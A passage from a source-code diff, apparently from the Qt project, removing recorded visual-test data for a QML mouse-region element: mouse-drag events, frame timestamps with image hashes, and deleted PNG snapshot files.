sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 408 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6336 - hash: "58413f9b01f1e0b49519d8b6a3011607" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 366 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6352 - hash: "b3992d2f9c1383c710ee325a94117a8b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 327 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6368 - hash: "bd415044fcf6218d8184cb0206105e65" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 300 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 288 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6384 - hash: "e7296140fe8b28bed77e95e588c0e463" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 280 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6400 - hash: "9ff532223ccccd663809187465e478c2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 276 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6416 - hash: "4de9ca75503db05df5d8274d75c202e5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 271 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 259 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6432 - hash: "a83b5bc409207e986055081b4ed3faa6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 227 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6448 - hash: "7fdbd00dd3553241f30fd6568a8ab646" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 190 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6464 - hash: "5ebaa67eaadc1ede8c46964fa1dffff1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 169 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -2; y: 160 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6480 - hash: "de4bd9ad3cbb9bb19bf75f871b044072" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 1; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6496 - hash: "9d762cd4dd6508cf8b54c47b76f4ef37" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 5; y: 155 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6512 - hash: "bdf17c384f4f824a89a06b88ba17c15f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 10; y: 154 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 25; y: 152 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6528 - hash: "f279f28995785afd143726aef7673b50" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 52; y: 149 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6544 - hash: "53b6b82a61d017e12afb01a728d8d856" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 80; y: 148 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6560 - hash: "9a48039175cab1360a0cf5cc195e2082" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 98; y: 148 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 112; y: 150 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6576 - hash: "cfc3991e30eef6c2edb66cb6060b2bde" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 123; y: 153 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6592 - hash: "737d8907f62768e623ba76866a509d1e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 134; y: 155 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6608 - hash: "dea2a596f7d85f29728b33d126d997e5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 145; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 161 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6624 - hash: "3969a0bbb284ab1d5efd20cf93b0422d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6640 - hash: "071ff25e49f7f16a727ff58c42ff766e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 169 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6656 - hash: "454abec991a4675763f379c256919fa7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 184; y: 173 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 189; y: 177 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6672 - hash: "6de741c4e6057dc8580106155c4ac627" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 194; y: 184 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6688 - hash: "e35853e99cd205b7ccabdf632b238584" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6704 - hash: "15a70a0196227c6bce50ed70cd6383c8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 204; y: 201 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 211; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6720 - image: "drag.6.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 217 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6736 - hash: "5e951eb6017a060287e398fcaf4aeba9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 224; y: 223 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6752 - hash: "ddd0f27027e23a45aef131296c781865" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 235; y: 228 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 246; y: 232 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6768 - hash: "715102a252756e5a8c4f459d808aec6a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 257; y: 235 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6784 - hash: "42b9c1b894247ddbd85f4a4aca5695f1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 267; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6800 - hash: "b67b4bdd412ed5160901803c60c6f19e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 275; y: 239 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 280; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6816 - hash: "3490cc41c2b1f9301c209bdb8f052add" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 281; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6832 - hash: "df32868d564ebbc41c359409b5a69e7d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 282; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6848 - hash: "b9cb430a6f677e67c87322e0aff53fb1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 282; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6864 - hash: "b9cb430a6f677e67c87322e0aff53fb1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 281; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6880 - hash: "df32868d564ebbc41c359409b5a69e7d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 280; y: 239 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6896 - hash: "3490cc41c2b1f9301c209bdb8f052add" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 279; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6912 - hash: "e23a88f49a73cd2a9326095dd380ab55" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 277; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6928 - hash: "ffffc1aed27fe77c2fe5c035eab706a9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 277; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6944 - hash: "ffffc1aed27fe77c2fe5c035eab706a9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 276; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6960 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 276; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6976 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 6992 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 276; y: 240 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7008 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7024 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7040 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7056 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7072 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7088 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7104 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7120 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7136 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7152 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7168 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7184 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7200 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7216 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7232 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7248 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7264 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7280 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7296 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7312 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7328 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7344 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7360 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7376 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7392 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7408 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7424 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7440 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7456 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7472 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7488 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7504 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7520 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7536 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7552 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7568 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7584 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7600 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7616 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7632 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7648 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7664 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7680 - image: "drag.7.png" - } - Frame { - msec: 7696 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7712 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7728 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7744 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7760 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7776 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7792 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7808 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7824 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7840 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7856 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7872 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7888 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7904 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7920 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7936 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7952 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7968 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 7984 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } - Frame { - msec: 8000 - hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.0.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.0.png deleted file mode 100644 index c249c21..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.1.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.1.png deleted file mode 100644 index a96bf1b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.10.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.10.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.11.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.11.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.11.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.12.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.12.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.12.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.13.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.13.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.13.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.14.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.14.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.14.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.15.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.15.png deleted file mode 100644 index e797cc9..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.15.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.16.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.16.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.16.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.17.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.17.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.17.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.18.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.18.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.18.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.19.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.19.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.19.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.2.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.2.png deleted file mode 100644 index a96bf1b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.20.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.20.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.20.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.21.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.21.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.21.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.22.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.22.png deleted file mode 100644 index 7951309..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.22.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.3.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.3.png deleted file mode 100644 index a96bf1b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.4.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.4.png deleted file mode 100644 index 1fe365a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.5.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.5.png deleted file mode 100644 index 1fe365a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.6.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.6.png deleted file mode 100644 index 1fe365a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.7.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.7.png deleted file mode 100644 index 1fe365a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.8.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.8.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.9.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.9.png deleted file mode 100644 index 7420ca7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.qml b/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.qml deleted file mode 100644 index cc374fd..0000000 --- a/tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.qml +++ /dev/null @@ -1,5867 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 32 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 48 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 64 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 80 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 96 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 112 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 128 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 144 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 160 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 176 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 192 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 208 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 224 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 240 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 256 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 272 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 288 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 304 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 320 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 336 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 352 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 368 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 384 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 400 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 416 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 432 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 448 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 464 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 480 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 496 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 512 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 528 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 544 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 560 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 576 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 592 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 608 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 624 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 640 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 656 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 672 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 688 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 704 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 720 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 736 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 752 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 768 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 784 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 800 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 816 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 832 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 848 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 864 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 880 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 896 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 912 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 928 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 944 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 960 - image: "mouseregion.0.png" - } - Frame { - msec: 976 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 992 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1008 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1024 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1040 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1056 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1072 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1088 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1104 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1120 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1136 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1152 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1168 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1184 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1200 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1216 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1232 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1248 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1264 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1280 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1296 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1312 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1328 - hash: 